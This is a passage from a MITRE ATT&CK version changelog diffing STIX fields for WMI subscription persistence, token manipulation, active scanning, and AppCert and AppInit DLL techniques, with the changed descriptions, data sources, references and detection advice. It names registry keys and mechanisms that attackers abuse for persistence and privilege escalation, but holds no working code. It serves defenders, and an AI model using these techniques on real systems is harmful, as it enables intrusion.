| > | saries may also compile WMI scripts into Windows Management | > | ies may also compile WMI scripts into Windows Management Obj | ||
| > | Object (MOF) files (.mof extension) that can be used to crea | > | ect (MOF) files (.mof extension) that can be used to create | ||
| > | te a malicious subscription. (Citation: Dell WMI Persistence | > | a malicious subscription.(Citation: Dell WMI Persistence)(Ci | ||
| > | ) (Citation: Microsoft MOF May 2018) WMI subscription execu | > | tation: Microsoft MOF May 2018) WMI subscription execution | ||
| > | tion is proxied by the WMI Provider Host process (WmiPrvSe.e | > | is proxied by the WMI Provider Host process (WmiPrvSe.exe) a | ||
| > | xe) and thus may result in elevated SYSTEM privileges. | > | nd thus may result in elevated SYSTEM privileges. | ||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_contributors | ['Brent Murphy, Elastic', 'David French, Elastic'] | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-05 12:02:45.522000+00:00 | 2022-04-20 17:01:37.760000+00:00 |
| description | Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015) Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018) WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges. | Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime.(Citation: Mandiant M-Trends 2015) Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018) WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges. |
| external_references[1]['source_name'] | Mandiant M-Trends 2015 | FireEye WMI 2015 |
| external_references[1]['description'] | Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016. | Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. |
| external_references[1]['url'] | https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf |
| external_references[2]['source_name'] | FireEye WMI SANS 2015 | Dell WMI Persistence |
| external_references[2]['description'] | Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020. | Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016. |
| external_references[2]['url'] | https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf | https://www.secureworks.com/blog/wmi-persistence |
| external_references[3]['source_name'] | FireEye WMI 2015 | FireEye WMI SANS 2015 |
| external_references[3]['description'] | Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016. | Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020. |
| external_references[3]['url'] | https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf | https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf |
| external_references[4]['source_name'] | Dell WMI Persistence | Medium Detecting WMI Persistence |
| external_references[4]['description'] | Dell SecureWorks Counter Threat Unit™ (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016. | French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019. |
| external_references[4]['url'] | https://www.secureworks.com/blog/wmi-persistence | https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 |
| external_references[5]['source_name'] | Microsoft MOF May 2018 | Elastic - Hunting for Persistence Part 1 |
| external_references[5]['description'] | Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020. | French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020. |
| external_references[5]['url'] | https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof- | https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1 |
| external_references[6]['source_name'] | TechNet Autoruns | Mandiant M-Trends 2015 |
| external_references[6]['description'] | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. | Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016. |
| external_references[6]['url'] | https://technet.microsoft.com/en-us/sysinternals/bb963902 | https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf |
| external_references[7]['source_name'] | Medium Detecting WMI Persistence | Microsoft Register-WmiEvent |
| external_references[7]['description'] | French, D. (2018, October 9). Detecting & Removing an Attacker’s WMI Persistence. Retrieved October 11, 2019. | Microsoft. (n.d.). Retrieved January 24, 2020. |
| external_references[7]['url'] | https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96 | https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1 |
| external_references[8]['source_name'] | Microsoft Register-WmiEvent | TechNet Autoruns |
| external_references[8]['description'] | Microsoft. (n.d.). Retrieved January 24, 2020. | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. |
| external_references[8]['url'] | https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1 | https://technet.microsoft.com/en-us/sysinternals/bb963902 |
| x_mitre_data_sources[0] | Process command-line parameters | Process: Process Creation |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_data_sources[2] | WMI Objects | WMI: WMI Creation |
| x_mitre_detection | Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence)
Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1086) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process). | Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)
Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent) |
| x_mitre_version | 1.0 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Microsoft MOF May 2018', 'description': 'Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-'} |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-20 19:30:11.783000+00:00 | 2021-06-07 19:23:33.039000+00:00 |
| x_mitre_data_sources[0] | Windows event logs | Active Directory: Active Directory Credential Request |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Yossi Nisani, Cymptom |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Authentication logs |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-22 21:36:52.825000+00:00 | 2022-03-21 19:01:25.043000+00:00 |
| x_mitre_data_sources[0] | Windows Registry | File: File Modification |
| x_mitre_data_sources[1] | File monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[3] | API monitoring | Process: Process Metadata |
| x_mitre_data_sources[4] | Process monitoring | Process: OS API Execution |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | File: File Metadata | |
| x_mitre_data_sources | Process: Process Creation |
Current version: 2.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | |
| external_references | Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017. | |
| external_references | CAPEC-633 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | CAPEC-633 | |
| external_references | Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017. |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-16 19:37:02.355000+00:00 | 2022-05-03 02:14:43.557000+00:00 |
| external_references[1]['source_name'] | capec | BlackHat Atkinson Winchester Token Manipulation |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/633.html | https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf |
| external_references[2]['source_name'] | Pentestlab Token Manipulation | Microsoft Command-line Logging |
| external_references[2]['description'] | netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017. | Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. |
| external_references[2]['url'] | https://pentestlab.blog/2017/04/03/token-manipulation/ | https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing |
| external_references[3]['source_name'] | Microsoft Command-line Logging | Microsoft LogonUser |
| external_references[3]['description'] | Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017. | Microsoft TechNet. (n.d.). Retrieved April 25, 2017. |
| external_references[3]['url'] | https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing | https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx |
| external_references[4]['source_name'] | Microsoft LogonUser | Microsoft DuplicateTokenEx |
| external_references[4]['url'] | https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx | https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx |
| external_references[5]['source_name'] | Microsoft DuplicateTokenEx | Microsoft ImpersonateLoggedOnUser |
| external_references[5]['url'] | https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx | https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx |
| external_references[6]['source_name'] | Microsoft ImpersonateLoggedOnUser | Pentestlab Token Manipulation |
| external_references[6]['description'] | Microsoft TechNet. (n.d.). Retrieved April 25, 2017. | netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017. |
| external_references[6]['url'] | https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx | https://pentestlab.blog/2017/04/03/token-manipulation/ |
| external_references[7]['source_name'] | BlackHat Atkinson Winchester Token Manipulation | capec |
| external_references[7]['url'] | https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf | https://capec.mitre.org/data/definitions/633.html |
| x_mitre_data_sources[0] | Authentication logs | Process: Process Metadata |
| x_mitre_data_sources[1] | Windows event logs | Process: Process Creation |
| x_mitre_data_sources[2] | API monitoring | Command: Command Execution |
| x_mitre_data_sources[3] | Access tokens | Active Directory: Active Directory Object Modification |
| x_mitre_data_sources[4] | Process monitoring | Process: OS API Execution |
| x_mitre_data_sources[5] | Process command-line parameters | User Account: User Account Metadata |
| x_mitre_defense_bypassed[1] | System access controls | Heuristic Detection |
| x_mitre_defense_bypassed[2] | File system access controls | System Access Controls |
| x_mitre_defense_bypassed[3] | Heuristic Detection | Host Forensic Analysis |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_defense_bypassed | Host forensic analysis |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may execute active | t | 1 | Adversaries may execute active reconnaissance scans to gathe |
| > | reconnaissance scans to gather information that can be used | > | r information that can be used during targeting. Active scan | ||
| > | during targeting. Active scans are those where the adversar | > | s are those where the adversary probes victim infrastructure | ||
| > | y probes victim infrastructure via network traffic, as oppos | > | via network traffic, as opposed to other forms of reconnais | ||
| > | ed to other forms of reconnaissance that do not involve dire | > | sance that do not involve direct interaction. Adversaries m | ||
| > | ct interaction. Adversaries may perform different forms of | > | ay perform different forms of active scanning depending on w | ||
| > | active scanning depending on what information they seek to g | > | hat information they seek to gather. These scans can also be | ||
| > | ather. These scans can also be performed in various ways, in | > | performed in various ways, including using native features | ||
| > | cluding using native features of network protocols such as I | > | of network protocols such as ICMP.(Citation: Botnet Scan)(Ci | ||
| > | CMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) | > | tation: OWASP Fingerprinting) Information from these scans m | ||
| > | Information from these scans may reveal opportunities for ot | > | ay reveal opportunities for other forms of reconnaissance (e | ||
| > | her forms of reconnaissance (ex: [Search Open Websites/Domai | > | x: [Search Open Websites/Domains](https://attack.mitre.org/t | ||
| > | ns](https://attack.mitre.org/techniques/T1593) or [Search Op | > | echniques/T1593) or [Search Open Technical Databases](https: | ||
| > | en Technical Databases](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1596)), establishing operatio | ||
| > | T1596)), establishing operational resources (ex: [Develop Ca | > | nal resources (ex: [Develop Capabilities](https://attack.mit | ||
| > | pabilities](https://attack.mitre.org/techniques/T1587) or [O | > | re.org/techniques/T1587) or [Obtain Capabilities](https://at | ||
| > | btain Capabilities](https://attack.mitre.org/techniques/T158 | > | tack.mitre.org/techniques/T1588)), and/or initial access (ex | ||
| > | 8)), and/or initial access (ex: [External Remote Services](h | > | : [External Remote Services](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1133) or [Exploit Public | > | ques/T1133) or [Exploit Public-Facing Application](https://a | ||
| > | -Facing Application](https://attack.mitre.org/techniques/T11 | > | ttack.mitre.org/techniques/T1190)). | ||
| > | 90)). | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_is_subtechnique | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:06:50.402000+00:00 | 2022-03-08 20:58:13.661000+00:00 |
| description | Before compromising a victim, adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). | Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction. Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)). |
| x_mitre_data_sources[0] | Packet capture | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network device logs | Network Traffic: Network Traffic Flow |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by AppCert DLLs | > | ges by executing malicious content triggered by AppCert DLLs | ||
| > | loaded into processes. Dynamic-link libraries (DLLs) that a | > | loaded into processes. Dynamic-link libraries (DLLs) that a | ||
| > | re specified in the <code>AppCertDLLs</code> Registry key un | > | re specified in the <code>AppCertDLLs</code> Registry key un | ||
| > | der <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro | > | der <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Contro | ||
| > | l\Session Manager\</code> are loaded into every process that | > | l\Session Manager\</code> are loaded into every process that | ||
| > | calls the ubiquitously used application programming interfa | > | calls the ubiquitously used application programming interfa | ||
| > | ce (API) functions <code>CreateProcess</code>, <code>CreateP | > | ce (API) functions <code>CreateProcess</code>, <code>CreateP | ||
| > | rocessAsUser</code>, <code>CreateProcessWithLoginW</code>, < | > | rocessAsUser</code>, <code>CreateProcessWithLoginW</code>, < | ||
| > | code>CreateProcessWithTokenW</code>, or <code>WinExec</code> | > | code>CreateProcessWithTokenW</code>, or <code>WinExec</code> | ||
| > | . (Citation: Endgame Process Injection July 2017) Similar t | > | . (Citation: Elastic Process Injection July 2017) Similar t | ||
| > | o [Process Injection](https://attack.mitre.org/techniques/T1 | > | o [Process Injection](https://attack.mitre.org/techniques/T1 | ||
| > | 055), this value can be abused to obtain elevated privileges | > | 055), this value can be abused to obtain elevated privileges | ||
| > | by causing a malicious DLL to be loaded and run in the cont | > | by causing a malicious DLL to be loaded and run in the cont | ||
| > | ext of separate processes on the computer. Malicious AppCert | > | ext of separate processes on the computer. Malicious AppCert | ||
| > | DLLs may also provide persistence by continuously being tri | > | DLLs may also provide persistence by continuously being tri | ||
| > | ggered by API activity. | > | ggered by API activity. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:22:45.298000+00:00 | 2020-11-10 18:29:31.052000+00:00 |
| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Endgame Process Injection July 2017)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppCert DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs Registry key under HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\ are loaded into every process that calls the ubiquitously used application programming interface (API) functions CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, or WinExec. (Citation: Elastic Process Injection July 2017)
Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this value can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Malicious AppCert DLLs may also provide persistence by continuously being triggered by API activity. |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[1] | Process command-line parameters | Process: OS API Execution |
| x_mitre_data_sources[2] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[3] | Loaded DLLs | Windows Registry: Windows Registry Key Modification |
| x_mitre_detection | Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007) Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. | Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007) Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence and/or elevate privile | t | 1 | Adversaries may establish persistence and/or elevate privile |
| > | ges by executing malicious content triggered by AppInit DLLs | > | ges by executing malicious content triggered by AppInit DLLs | ||
| > | loaded into processes. Dynamic-link libraries (DLLs) that a | > | loaded into processes. Dynamic-link libraries (DLLs) that a | ||
| > | re specified in the <code>AppInit_DLLs</code> value in the R | > | re specified in the <code>AppInit_DLLs</code> value in the R | ||
| > | egistry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Win | > | egistry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Win | ||
| > | dows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MA | > | dows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MA | ||
| > | CHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersi | > | CHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersi | ||
| > | on\Windows</code> are loaded by user32.dll into every proces | > | on\Windows</code> are loaded by user32.dll into every proces | ||
| > | s that loads user32.dll. In practice this is nearly every pr | > | s that loads user32.dll. In practice this is nearly every pr | ||
| > | ogram, since user32.dll is a very common library. (Citation: | > | ogram, since user32.dll is a very common library. (Citation: | ||
| > | Endgame Process Injection July 2017) Similar to Process In | > | Elastic Process Injection July 2017) Similar to Process In | ||
| > | jection, these values can be abused to obtain elevated privi | > | jection, these values can be abused to obtain elevated privi | ||
| > | leges by causing a malicious DLL to be loaded and run in the | > | leges by causing a malicious DLL to be loaded and run in the | ||
| > | context of separate processes on the computer. (Citation: A | > | context of separate processes on the computer. (Citation: A | ||
| > | ppInit Registry) Malicious AppInit DLLs may also provide per | > | ppInit Registry) Malicious AppInit DLLs may also provide per | ||
| > | sistence by continuously being triggered by API activity. | > | sistence by continuously being triggered by API activity. | ||
| > | The AppInit DLL functionality is disabled in Windows 8 and l | > | The AppInit DLL functionality is disabled in Windows 8 and l | ||
| > | ater versions when secure boot is enabled. (Citation: AppIni | > | ater versions when secure boot is enabled. (Citation: AppIni | ||
| > | t Secure Boot) | > | t Secure Boot) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 20:34:09.996000+00:00 | 2020-11-10 18:29:31.076000+00:00 |
| description | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017)
Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows or HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)
Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) |
| external_references[1]['source_name'] | Endgame Process Injection July 2017 | Elastic Process Injection July 2017 |
| x_mitre_data_sources[0] | Windows Registry | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[3] | Loaded DLLs | Module: Module Load |
| x_mitre_detection | Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017)
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns)
Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. | Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns)
Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: OS API Execution |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse AppleScript for execution. AppleScript | t | 1 | Adversaries may abuse AppleScript for execution. AppleScript |
